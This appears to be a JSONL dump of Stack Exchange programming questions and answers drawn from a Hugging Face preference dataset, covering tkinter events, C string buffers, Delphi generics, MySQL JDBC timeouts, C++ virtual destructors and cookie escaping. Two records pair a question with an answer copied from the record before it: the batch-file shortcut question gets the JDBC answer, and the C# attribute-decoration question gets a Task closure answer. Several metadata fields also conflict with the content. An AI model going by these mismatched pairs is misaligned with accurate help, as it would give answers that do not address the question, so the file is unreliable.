{"id": "hf_79437b6a489c", "question": "<p>How do you invoke a tkinter <code>event</code> from a separate object?  </p>\n\n<p>I'm looking for something like wxWidgets <code>wx.CallAfter</code>.  For example, If I create an object, and pass to it my <code>Tk</code> root instance, and then try to call a method of that root window from my object, my app locks up.</p>\n\n<p>The best I can come up with is to use the the <code>after</code> method and check the status from my separate object, but that seems wasteful.</p>\n", "question_body": "", "answer": "To answer your specific question of \"How do you invoke a TkInter event from a separate object\", use the\n```\nevent_generate\n```\ncommand. It allows you to inject events into the event queue of the root window. Combined with Tk's powerful virtual event mechanism it becomes a handy message passing mechanism.\nFor example:\n```\n```\nfrom tkinter import *\n\ndef doFoo(*args):\n    print(\"Hello, world\")\n\nroot = Tk()\nroot.bind(\"<<Foo>>\", doFoo)\n\n# some time later, inject the \"<<Foo>>\" virtual event at the\n# tail of the event queue\nroot.event_generate(\"<<Foo>>\", when=\"tail\")\n```\n```\nNote that the\n```\nevent_generate\n```\ncall will return immediately. It's not clear if that's what you want or not. Generally speaking you don't want an event based program to block waiting for a response to a specific event because it will\nfreeze the GUI\n.\nI'm not sure if this solves your problem though; without seeing your code I'm not sure what your real problem is. I can, for example, access methods of root in the constructor of an object where the root is passed in without the app locking up. This tells me there's something else going on in your code.\nHere's an example of successfully accessing methods on a root window from some other object:\n```\n```\nfrom tkinter import *\n\nclass myClass:\n    def __init__(self, root):\n        print(\"root background is %s\" % root.cget(\"background\"))\n\nroot = Tk()\nnewObj = myClass(root)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.919597"}
{"id": "hf_d1b8115f5119", "question": "<p>I'm looking at building basic CMS functionality into our web product and am researching tips and design ideas for versioning content. I'm specifically looking for database schemas in use today.</p>\n\n<p>What are you using for content versioning? What patterns apply if you have different types of content that need versions stored? How is question versioning handled on Stack Overflow?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "My gut instinct is that the best thing for this is (in order of bestitude):\nA ready version control system.\nA nice list here.\nStoring diffs.\nWhat is a diff here.\nI guess the obvious database solution of having a \"ContentVersion\" table, where you have multiple \"Versions\" per unique \"Content\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:31.955512"}
{"id": "hf_f4f9da086440", "question": "<p>I've generated a pdf using iTextSharp and I can preview it very well in ASP.Net but I need to send it directly to printer without a preview. I want the user to click the print button and automatically the document prints.</p>\n\n<p>I know that a page can be sent directly to printer using the javascript window.print() but I don't know how to make it for a PDF.</p>\n\n<p>Edit: it is not embedded, I generate it like this;</p>\n\n<pre><code>                ...\n                FileStream stream = new FileStream(Request.PhysicalApplicationPath + \"~1.pdf\", FileMode.Create);\n                Document pdf = new Document(PageSize.LETTER);\n                PdfWriter writer = PdfWriter.GetInstance(pdf, stream);\n                pdf.Open();\n                pdf.Add(new Paragraph(member.ToString()));\n                pdf.Close();\n\n                Response.Redirect(\"~1.pdf\");\n                ...\n</code></pre>\n\n<p>And here I am.</p>\n", "question_body": "", "answer": "Is the pdf embedded in the page with embedd-tag or just opened in a frame or how are you showing it?\nIf its embedded, just make sure that the object is selected and then do a print().\nGet the ref to the embedded document.\n```\n```\nvar x = document.getElementById(\"mypdfembeddobject\");  \nx.click();\nx.setActive();\nx.focus();\nx.print();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.002662"}
{"id": "hf_3bf45a25b9f9", "question": "<p>How do I access specific sections of man pages?</p>\n", "question_body": "", "answer": "Put the section number in front of the item you want to reference. For example, to access the sysctl function from the library section, you can write:\n```\n```\nman 3 sysctl\n```\n```\nand to access the sysctl tool from the system administrator's section, you would write:\n```\n```\nman 8 sysctl\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.026133"}
{"id": "hf_b0eabd25673d", "question": "<p>I have a char array buffer that I am using to store characters that the user will input one by one.  My code below works but has a few glitches that I can't figure out:</p>\n\n<ol>\n<li>when I execute a printf to see what's in Buffer, it does fill up but I get garbage characters at the end</li>\n<li>it won't stop at 8 characters despite being declared as char Buffer[8];</li>\n</ol>\n\n<p>Can somebody please explain to me what is going on and perhaps how I could fix this? Thanks.</p>\n\n<pre><code>char Buffer[8]; //holds the byte stream\nint i=0;\n\nif (/* user input event has occurred */) \n{\n        Buffer[i] = charInput;\n        i++;\n\n        // Display a response to input\n        printf(\"Buffer is %s!\\n\", Buffer);\n\n}\n</code></pre>\n\n<p>Output:</p>\n\n<pre>\ntagBuffer is 1┬┬w!\ntagBuffer is 12┬w!\ntagBuffer is 123w!\ntagBuffer is 1234!\ntagBuffer is 12345!\ntagBuffer is 123456=!\ntagBuffer is 1234567!\ntagBuffer is 12345678!</pre>\n\n<p>tagBuffer is 123456789!</p>\n", "question_body": "", "answer": "You have to end the string with a\n```\n\\0\n```\ncharacter. That's why they are called zero terminated strings.\nIt is also wise to allocate 1 extra char to hold the\n```\n\\0\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.073135"}
{"id": "hf_99cfbcde1129", "question": "<p>I'm checking out the Delphi 2009 Trial, but run into problems with the generics stuff right away.</p>\n\n<p>The following code does not compile, and I haven't the slightest idea why it's giving me E2015 for the Equals() method:</p>\n\n<pre><code>type\n  TPrimaryKey&lt;T&gt; = class(TObject)\n  strict private\n    fValue: T;\n  public\n    constructor Create(AValue: T);\n    function Equals(Obj: TObject): boolean; override;\n    function GetValue: T;\n  end;\n\nconstructor TPrimaryKey&lt;T&gt;.Create(AValue: T);\nbegin\n  inherited Create;\n  fValue := AValue;\nend;\n\nfunction TPrimaryKey&lt;T&gt;.Equals(Obj: TObject): boolean;\nbegin\n  Result := (Obj &lt;&gt; nil) and (Obj is TPrimaryKey&lt;T&gt;)\n    and (TPrimaryKey&lt;T&gt;(Obj).GetValue = fValue);\nend;\n\nfunction TPrimaryKey&lt;T&gt;.GetValue: T;\nbegin\n  Result := fValue;\nend;\n</code></pre>\n\n<p>Why does the compiler think that fValue and the result of GetValue() can not be compared?</p>\n", "question_body": "", "answer": "You can't use operators with untyped generics. See\nhere\nfor a discussion.\nIt compiles if you change it to:\n```\n```\nTPrimaryKey<T: class> = class(TObject)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.097416"}
{"id": "hf_2df98416ebbc", "question": "<p>In Joel's article for Inc. entitled <a href=\"http://www.inc.com/magazine/20081101/how-hard-could-it-be-the-unproven-path.html\" rel=\"nofollow noreferrer\">How Hard Could It Be?: The Unproven Path</a>, he wrote:</p>\n\n<blockquote>\n  <p>...it turns out that Jeff and his\n  programmers were so good that they\n  built a site that could serve 80,000\n  visitors a day (roughly 755,000 page\n  views)</p>\n</blockquote>\n\n<p>How would I go about figuring out the maximum load my server(s) can handle?</p>\n", "question_body": "", "answer": "Apache has a tool called\n```\nab\n```\nthat you can use to benchmark a server. It can simulate loads requests and concurrency situations for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.121670"}
{"id": "hf_55b8d7afc2eb", "question": "<p>I have multiple Network Interface Cards on my computer, each with its own IP address.</p>\n\n<p>When I use <code>gethostbyname(gethostname())</code> from Python's (built-in) <code>socket</code> module, it will only return one of them.  How do I get the others?</p>\n", "question_body": "", "answer": "You should directly obtain all IP configured IP addresses, e.g. by running ifconfig and parsing its output (it's also possible to do what\nifconfig does directly in Python\n,\nsee how it is done in C\n). If you want host names, use gethostbyaddr.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.145656"}
{"id": "hf_4f33246a313d", "question": "<p>I have several server processes that once in a while respond to messages from the clients and perform read-only transactions.</p>\n\n<p>After about a few days that the servers are running, they stop working correctly and when I check it turns out that there's a whole bunch of messages about the connection being closed.</p>\n\n<p>When I checked it out, it turned out that hibernate by default works in some sort of development mode where connections are dropped after a few hours, and I started using c3po for connection pooling. </p>\n\n<p>However, even with c3po, I get that problem about 24 hours or so after the servers are started.</p>\n\n<p>Has anyone encountered that problem and knows how to address it? I'm not familiar enough with the intricacies of configuring hibernate.</p>\n", "question_body": "", "answer": "The MySQL JDBC driver times out after 8 hours of inactivity and drops the connection.\nYou can set\n```\nautoReconnect=true\n```\nin your JDBC URL, and this causes the driver to reconnect if you try to query after it has disconnected.  But this has side effects; for instance session state and transactions cannot be maintained over a new connection.\nIf you use\n```\nautoReconnect\n```\n, the JDBC connection is reestablished, but it doesn't automatically re-execute your query that got the exception.  So you do need to catch\n```\nSQLException\n```\nin your application and retry queries.\nRead\nhttp://dev.mysql.com/doc/refman/5.0/en/connector-j-reference-configuration-properties.html\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.256083"}
{"id": "hf_b2fac69b2d93", "question": "<pre><code>cmd /C \"myshortcut1.lnk\"\ncmd /C \"myshortcut2.lnk\"\n</code></pre>\n\n<p>Works, but gives me a pop-up DOS window which, when closed, kills my two loaded programs.  Same is true for this:</p>\n\n<pre><code>start /B cmd /C \"1.lnk\"\nstart /B cmd /C \"2.lnk\"\nstart /B cmd /C \"3.lnk\"\nstart /B cmd /C \"4.lnk\"\n</code></pre>\n", "question_body": "", "answer": "The MySQL JDBC driver times out after 8 hours of inactivity and drops the connection.\nYou can set\n```\nautoReconnect=true\n```\nin your JDBC URL, and this causes the driver to reconnect if you try to query after it has disconnected.  But this has side effects; for instance session state and transactions cannot be maintained over a new connection.\nIf you use\n```\nautoReconnect\n```\n, the JDBC connection is reestablished, but it doesn't automatically re-execute your query that got the exception.  So you do need to catch\n```\nSQLException\n```\nin your application and retry queries.\nRead\nhttp://dev.mysql.com/doc/refman/5.0/en/connector-j-reference-configuration-properties.html\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.280005"}
{"id": "hf_265a6d9cabb4", "question": "<p>So we are sure that we will be taking our product internationally and will eventually need to internationalize it. How much internationalizing would you recommend we do as we go along?</p>\n\n<p>I guess in other words, is there any internationalization that is easy now but can be much worse if we let the code base mature and that won't slow us down very much if we choose to start doing it now?</p>\n\n<p>Tech used: C#, WPF, WinForms</p>\n", "question_body": "", "answer": "Prepare it now, before you write all the strings in the codebase itself.\nEverything after now will be too late. It's now or never!\nIt's true that it is a bit of extra effort to prepare well now, but not doing it will end up being a lot more expensive.\nIf you won't follow all the guidelines in the links below, at least heed points 1,2 and 7 of the summary which are very cheap to do now and which cause the most pain afterwards in my experience.\nCheck these guidelines and see for yourself why it's better to start now and get everything prepared.\nDeveloping world ready applications\nBest practices for developing world ready applications\nLittle extract:\nMove all localizable resources to separate resource-only DLLs. Localizable resources include user interface elements such as strings, error messages, dialog boxes, menus, and embedded object resources.\n(Moving the resources to a DLL afterwards will be a pain)\nDo not hardcode strings or user interface resources.\n(If you don't prepare, you know you will hardcode strings)\nDo not put nonlocalizable resources into the resource-only DLLs. This causes confusion for translators.\nDo not use composite strings that are built at run time from concatenated phrases. Composite strings are difficult to localize because they often assume an English grammatical order that does not apply to all languages.\n(After the interface design, changing phrases gets harder)\nAvoid ambiguous constructs such as \"Empty Folder\" where the strings can be translated differently depending on the grammatical roles of the strings' components. For example, \"empty\" can be either a verb or an adjective, and this can lead to different translations in languages such as Italian or French.\n(Same issue)\nAvoid using images and icons that contain text in your application. They are expensive to localize.\n(Use text rendered over the image)\nAllow plenty of room for the length of strings to expand in the user interface. In some languages, phrases can require 50-75 percent more space.\n(Same issue, if you don't plan for it now, redesign is more expensive)\nUse the System.Resources.ResourceManager class to retrieve resources based on culture.\nUse Microsoft Visual Studio .NET to create Windows Forms dialog boxes, so they can be localized using the Windows Forms Resource Editor (Winres.exe). Do not code Windows Forms dialog boxes by hand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.326236"}
{"id": "hf_943251efa777", "question": "<p>I have a DataTrigger defined in my XAML which I want to use in several places. Is it possible to define it as a resource and then share it?</p>\n\n<p>Here's my trigger:</p>\n\n<pre><code>&lt;TextBlock.Style&gt;\n    &lt;Style&gt;\n        &lt;Style.Triggers&gt;\n            &lt;DataTrigger Binding=\"{Binding HasCurrentTest}\" Value=\"True\"&gt;\n                &lt;Setter Property=\"TextBlock.Visibility\" Value=\"Hidden\" /&gt;\n            &lt;/DataTrigger&gt;\n        &lt;/Style.Triggers&gt;\n    &lt;/Style&gt;\n&lt;/TextBlock.Style&gt;\n</code></pre>\n\n<p>While I can define this in my Window.Resources and give it a key, how do I refer to it in the rest of my XAML?</p>\n", "question_body": "", "answer": "If the style is in the Windows.Resources with a key, each element can add it to their own style like this.\n```\n```\n<Window.Resources>\n    <Style x:Key=\"YourStyleKey\">\n        <!-- Your Style -->\n    </Style>\n</Window.Resources>\n\n<TextBox Text=\"SomeText\" Style=\"{StaticResource YourStyleKey}\"/>\n<TextBox Text=\"SomeOtherText\" Style=\"{StaticResource YourStyleKey}\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.372157"}
{"id": "hf_df25a72000fc", "question": "<p>I've been doing some socket programming to transmit information across the wire.  I've run into a problem with DataOutputStream.writeUTF().  It seems to allow strings of up to 64k but I have a few situations where I can run over this.  Are there any good alternatives that support larger strings or do I need to roll my own?</p>\n", "question_body": "", "answer": "You should be able to use\nOutputStreamWriter\nwith the UTF-8 encoding.  There's no explicit writeUTF method, but you can set the charset in the constructor.  Try\n```\n```\nWriter osw = new OutputStreamWriter(out, \"UTF-8\");\n```\n```\nwhere\n```\nout\n```\nis whatever OutputStream you're wrapping now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.406410"}
{"id": "hf_c477afb931bd", "question": "<p>This fails:</p>\n\n<pre><code>my @a = (\"a\", \"b\", \"c\", \"d\", \"e\");\nmy %h = map { \"prefix-$_\" =&gt; 1 } @a;\n</code></pre>\n\n<p>with this error:</p>\n\n<pre><code>Not enough arguments for map at foo.pl line 4, near \"} @a\"\n</code></pre>\n\n<p>but this works:</p>\n\n<pre><code>my @a = (\"a\", \"b\", \"c\", \"d\", \"e\");\nmy %h = map { \"prefix-\" . $_ =&gt; 1 } @a;\n</code></pre>\n\n<p>why?</p>\n", "question_body": "", "answer": "Because Perl is guessing an EXPR (a hash reference, for example) instead of a BLOCK. This should work (note the '+' symbol):\n```\n```\nmy @a = (\"a\", \"b\", \"c\", \"d\", \"e\");\nmy %h = map { +\"prefix-$_\" => 1 } @a;\n```\n```\nSee\nhttp://perldoc.perl.org/functions/map.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.429998"}
{"id": "hf_18f8fb2766d9", "question": "<p>I know it is a good practice to declare virtual destructors for base classes in C++, but is it always important to declare <code>virtual</code> destructors even for abstract classes that function as interfaces? Please provide some reasons and examples why.</p>\n", "question_body": "", "answer": "It's even more important for an interface. Any user of your class will probably hold a pointer to the interface, not a pointer to the concrete implementation. When they come to delete it, if the destructor is non-virtual, they will call the interface's destructor (or the compiler-provided default, if you didn't specify one), not the derived class's destructor. Instant memory leak.\nFor example\n```\n```\nclass Interface\n{\n   virtual void doSomething() = 0;\n};\n\nclass Derived : public Interface\n{\n   Derived();\n   ~Derived() \n   {\n      // Do some important cleanup...\n   }\n};\n\nvoid myFunc(void)\n{\n   Interface* p = new Derived();\n   // The behaviour of the next line is undefined. It probably \n   // calls Interface::~Interface, not Derived::~Derived\n   delete p; \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.453506"}
{"id": "hf_ace459cee309", "question": "<p>I would like to create a batch script, to go through 20,000 links in a DB, and weed out all the 404s and such. How would I get the HTTP status code for a remote url?</p>\n\n<p>Preferably not using curl, since I dont have it installed. </p>\n", "question_body": "", "answer": "CURL would be perfect but since you don't have it, you'll have to get down and dirty with sockets. The technique is:\nOpen a socket to the server.\nSend an HTTP HEAD request.\nParse the response.\nHere is a quick example:\n```\n```\n<?php\n\n$url = parse_url('http://www.example.com/index.html');\n\n$host = $url['host'];\n$port = $url['port'];\n$path = $url['path'];\n$query = $url['query'];\nif(!$port)\n    $port = 80;\n\n$request = \"HEAD $path?$query HTTP/1.1\\r\\n\"\n          .\"Host: $host\\r\\n\"\n          .\"Connection: close\\r\\n\"\n          .\"\\r\\n\";\n\n$address = gethostbyname($host);\n$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\nsocket_connect($socket, $address, $port);\n\nsocket_write($socket, $request, strlen($request));\n\n$response = split(' ', socket_read($socket, 1024));\n\nprint \"<p>Response: \". $response[1] .\"</p>\\r\\n\";\n\nsocket_close($socket);\n\n?>\n```\n```\nUPDATE: I've added a few lines to parse the URL", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.481395"}
{"id": "hf_d5275515cea0", "question": "<p>I am looking for an example of how to do the following in VB.net with Parallel Extensions.</p>\n\n<pre><code>Dim T As Thread = New Thread(AddressOf functiontodowork)\nT1.Start(InputValueforWork)\n</code></pre>\n\n<p>Where I'm getting stuck is on how to pass into the task my parameter InputValueforWork</p>\n\n<pre><code>Dim T As Tasks.Task = Tasks.Task.Create(AddressOf functiontodowork)\n</code></pre>\n\n<p>Any suggests and possibly a coding example would be welcome.</p>\n\n<p>Andrew</p>\n", "question_body": "", "answer": "Not necessarily the most helpful answer I know, but in C# you could do this with a closure:\n```\n```\nvar T = Tasks.Task.Create( () => functionToDoWork(SomeParameter) )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.505864"}
{"id": "hf_31c25bb3788d", "question": "<p>I've been reading a text about an extension to C# and at one point it says that \"An attribute decoration X may only be applied to fields of type Y.\"</p>\n\n<p>I haven't been able to find a definition for attribute decoration, and I'm not making much sense out of this by exchanging the two.</p>\n", "question_body": "", "answer": "Not necessarily the most helpful answer I know, but in C# you could do this with a closure:\n```\n```\nvar T = Tasks.Task.Create( () => functionToDoWork(SomeParameter) )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.529558"}
{"id": "hf_09e20e902e7c", "question": "<p>We have a .NET web service API. Currently, people use the SOAP definition to consume the API, because we require authentication through a custom Authentication element in the SOAP header. Works perfectly. fine.</p>\n\n<p>SOAP requires the request to be a POST. We want to allow the users to use a the GET verb (so it can be cacheable).</p>\n\n<p>So, what's the best way to offer a simple GET API (doesn't have to be a webservice!) that also offers authentication?</p>\n\n<p>example API route:</p>\n\n<blockquote>\n  <p><code>http://www.blah.com/api/Search?query=Foo</code></p>\n</blockquote>\n\n<p>Is this an acceptable and common practice?</p>\n\n<blockquote>\n  <p><code>http://www.blah.com/api/Search?query=Foo&amp;Key=&lt;some guid&gt;</code></p>\n</blockquote>\n\n<p>NOTE: I also don't want to implement SSL nor install extra software or plugins in IIS, etc. etc.</p>\n", "question_body": "", "answer": "If the web service needs to be secured, and I'm assuming that it does since you currently have an Authentication header, then you should reconsider using GET and not using SSL, at least for the authentication piece.  At a minimum I would POST the authorization request via SSL to the web service/application.  If you don't want to provide authentication on every request, then you will need to accept back (and generate in the service) an authorization cookie that the consumer can use for subsequent requests.\nI would avoid using authentication in the URL for exactly the reason that you want to support GET -- if the URL can be cached, then the credentials will be cached as well.  This breaks the security of the web service since anyone can reuse the cached credentials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.622491"}
{"id": "hf_b8547a5f80be", "question": "<p>What is a doubly linked list's remove method?</p>\n", "question_body": "", "answer": "The general algorithm is as follows:\nFind the node to remove.\nnode.previous.next = node.next\nnode.next.previous = node.previous\nnode.previous = null\nnode.next = null\nDispose of node if you're in a non-GC environment\nYou have to check the previous and next nodes for null to see if you're removing the head or the tail, but those are the easy cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.668917"}
{"id": "hf_97005e267b80", "question": "<p>I have a migration in Rails that inserts a record into the database. The Category model depends on this record. Since RSpec clears the database before each example, this record is lost and furthermore never seems to be created since RSpec does not seem to generate the  database from migrations. What is the best way to create/recreate this record in the database? Would it be using before(:all)?</p>\n", "question_body": "", "answer": "It's not that RSpec clears the database, it's that Rails's rake:db:prepare task copies the\nschema\n(but not the contents) of your dev database into your *_test db.\nYes, you can use\n```\nbefore(:all)\n```\n, as transactions are wrapped around each individual example - but a simple fixture file would also do the same job.\n(There's a more complicated general solution to this issue: moving to a service-oriented architecture, where your 'dev' and 'test' services are going to be completely separate instances.  You can then point your test db config to the development database in your test service, disable rake:db:prepare, and build your test service from migrations as you regenerate it.  Then you can test your migrations and data transformations.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.693307"}
{"id": "hf_1d3ca9f69de8", "question": "<p>I'm pretty new to the C++ build flow, and I'm thinking of switching to use partial linking for my libraries instead of creating <code>ar</code> archives. I'm hoping to reduce link time in an inevitable final compilation step that I have, and I figure partial linking some libraries once could save me time over linking everything in that final step.</p>\n\n<p>Is what I'm describing possible? I figure it should be something along the lines <code>ld -Ur -o mylib.o [components]</code>. Are there important build considerations that I'm not taking into account?</p>\n", "question_body": "", "answer": "You lose an important effect of having the object files in an\n```\nar\n```\narchive, which is that only the referenced objects will be linked in.\nIf you have both\n```\nfoo.o\n```\nwith the symbol\n```\nfoo\n```\nand bar.o with the symbol\n```\nbar\n```\nin an\n```\nar\n```\narchive, and only reference the\n```\nfoo\n```\nsymbol, only\n```\nfoo.o\n```\nwould be linked in. If you instead do a partial link, the contents of both will end up in the executable, even if\n```\nbar\n```\nis never referenced anywhere.\nYou could also try a faster linker, like\ngold\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.716886"}
{"id": "hf_b1e068ba6b2a", "question": "<p>I'm looking for an open-source web search library that does not use a search index file.\nDo you know any?</p>\n\n<p>Thanks,\nKenneth</p>\n", "question_body": "", "answer": "The original poster clarified in a comment to this reply that what he is looking for is essentially \"greplike search but through HTTP\", and mentioned that he is looking for something that uses little disk as he's working with an embedded system.\nI am not aware of any related projects, but you might want to look at html parsers and xquery implementations in your language of choice. You should be able to take care of \"real-life\" messiness of html with the former, and write a search that's almost as detailed as you might desire with the latter.\nI assume that you will be working with a set of urls that will either be provided, or already stored locally, since the idea of actually crawling the whole web, discovering links, etc, in an embedded device is thoroughly unrealistic.\nAlthough with a good html/xquery implementation, you do have the tools to extract all the links..\nMy original answer, which was really a request for clarification\n:\nNot sure what you mean.  How do you picture a search working without an index? Crawling the web for every query? Piping through to google?  Or are you referring to a specific kind of search index file that you are trying to avoid?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.741585"}
{"id": "hf_52e3bd50b56e", "question": "<p>I've recently seen occasional problems with stored procedures on a legacy system which displays error messages like this:</p>\n\n<blockquote>\n  <p>Server Message:  Number  10901, Severity 17: \n  This query requires <em>X</em> auxiliary scan\n  descriptors but currently there are\n  only <em>Y</em> auxiliary scan descriptors\n  available. Either raise the value of\n  the 'number of aux scan descriptors'\n  configuration parameter or try your\n  query later.</p>\n</blockquote>\n\n<p>where <em>X</em> is slightly lower than <em>Y</em>. The Sybase manual usefully tells me that I should redesign my table to use less auxiliary scan descriptors (how?!), or increase the number available on the system. The weird thing is, it's been working fine for years and the only thing that's changed is that we amended the data types of a couple of columns and added an index. Can anyone shed any light on this?</p>\n", "question_body": "", "answer": "You don't say what version of Sybase you are on but the following is good for ASE 12.5 onwards.\nI suspect that it's the addition of the new index that's thrown out the query plan for that stored procedure. Have you tried running\n```\n```\nupdate statistics *table_name*\n```\n```\non it? If that fails you can find out how many scan descriptors you have by running\n```\n```\nsp_monitorconfig \"aux scan descriptors\"\n```\n```\nand then increase that by running\n```\n```\nsp_configure \"aux scan descriptors\", x\n```\n```\nwhere x is the number of scan descriptors you require.\nIf you wish to reduce the number of scan descriptors that the store procedure is using then according to\nhere\nyou have to\nRewrite the query, or break it into steps using temporary tables. For data-only-locked tables, consider adding indexes if there are many table scans.\nbut without seeing a query plan it's impossible to give more specific advice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.819316"}
{"id": "hf_384552ea869e", "question": "<p>My application needs to store the users email address in a cookie so that I can pre-populate a login form <code>(username == email address)</code>. I set the cookie value in JavaScript. If I read it from JavaScript, I get <code>foo@bar.com</code>. If I look at it in the cookie viewer in Firefox I get <code>foo@bar.com</code>.</p>\n\n<p>When I try to read it on the server-side in Java however, I only get <code>foo</code>. </p>\n\n<p>Do I need to do some sort of encoding/decoding here? If so, how do I do it in a way that can be decoded by both JavaScript and Java? </p>\n\n<p>Thanks in advance!\n-Michael</p>\n", "question_body": "", "answer": "You need to escape the value part of your cookie.\n```\n```\ndocument.cookie = name + \"=\" +escape( value ) \n    + ( ( expires ) ? \";expires=\" + expires_date.toGMTString() : \"\" )\n    + ( ( path ) ? \";path=\" + path : \"\" ) \n    + ( ( domain ) ? \";domain=\" + domain : \"\" ) \n    + ( ( secure ) ? \";secure\" : \"\" );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.843404"}
